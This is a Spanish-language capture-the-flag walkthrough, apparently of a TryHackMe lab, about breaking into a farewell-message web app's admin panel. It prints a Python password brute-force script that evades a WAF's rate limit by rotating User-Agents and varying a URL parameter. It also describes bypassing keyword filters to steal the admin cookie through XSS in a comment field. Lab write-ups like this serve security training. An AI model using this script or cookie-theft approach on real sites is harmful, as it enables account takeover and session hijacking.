Introduction

Usa técnicas de red teaming para bypassear el WAF y obtener acceso de administrador a la aplicación web.
El servidor farewell será desmantelado en menos de 24 horas. Se ha pedido a todo el mundo que deje un último mensaje, pero el panel de administrador contiene todas las subidas. ¿Puedes colarte en el área de administración y leer todos los mensajes antes de que se apaguen las luces?
Getting the Flags
Reconocimiento Inicial
Comenzamos haciendo un escaneo de puertos abiertos.

Ahora vamos a escanear dichos puertos en profundidad.

Parece que httponly: not set por lo que sospechamos de un posible XSS.
Vamos a listar directorios web.

Parece que el método GET no está permitido en auth.php.
Vamos a ver cómo se ve la página web.

Vamos a investigar las páginas que hemos encontrado.

Seguimos mirando.
Profundización
Mirando la página con cuidado, podemos ver tres nombres de usuario en la parte superior:

adamdeliver11nora
Vamos a mirar una petición de login con un usuario falso.

Y ahora uno con uno de esos usernames.

Parece que nos muestra ciertos datos. Vamos a ver si hay alguno más fácil que el nombre de su mascota:

Explotación
Vamos a intentar crackear este inicio de sesión. Para ello creamos una lista con las posibles contraseñas:

Ahora vamos a usar hydra para intentar crackearlo:

Sin embargo no parece funcionar. Si probamos a iniciar sesión múltiples veces erróneamente sale este aviso:

Esto es probablemente a que el WAF está controlando el User-Agent para ejercer un rate limit.
Vamos a crear pues un script de Python que nos permita randomizar el User-Agent en las peticiones.
import requests import random import time USER_AGENTS = [ "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0", "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko", "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.85 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:40.0) Gecko/20100101 Firefox/40.0", ] for x in range(0, 10000): password = f"Tokyo{x:04d}" url = f'http://farewell.thm/auth.php?i={x}' headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': random.choice(USER_AGENTS) } data = f'username=deliver11&password={password}' resp = requests.post(url, headers=headers, data=data, timeout=5) if "auth_failed" in resp.text: continue elif resp.status_code == 403: print(f'[WAF BLOCK] {password}, backing off...') time.sleep(2) else: print(f'[SUCCESS] Payload: {password} | Code: {resp.status_code}') print(f'Response: {resp.text}') break
El parámetro i diferente en cada petición es lo que hace que el WAF no bloquee por repetición de endpoint.
Vamos a probar este script:

Hemos encontrado la contraseña, vamos a iniciar sesión:
Escalada de Privilegios
En la imagen anterior podemos apreciar que el comentario ha sido aprobado, y además antes no s dijeron que en el panel de administrador salían todos los comentarios. También tenemos el dato de que httponly: flag not set, por lo que podemos intuir un XSS en el campo de comentario. Sin embargo también sabemos que hay un firewall, por lo que vamos a realizar pruebas para ver cómo podemos sobrepasarlo.

Después de unas cuantas pruebas, podemos ver que <script>, cookie y fetch están prohibidos por el WAF, pero atob y eval no lo están.

Sin embargo, no parece traducirse, vamos a probar con img. Nos vamos a poner en escucha y a insertar un payload:

Y en el listener:

Vamos a usar ahora dicha cookie.

Y ahora navegamos hasta admin.php:

Y ya tenemos la flag de admin.
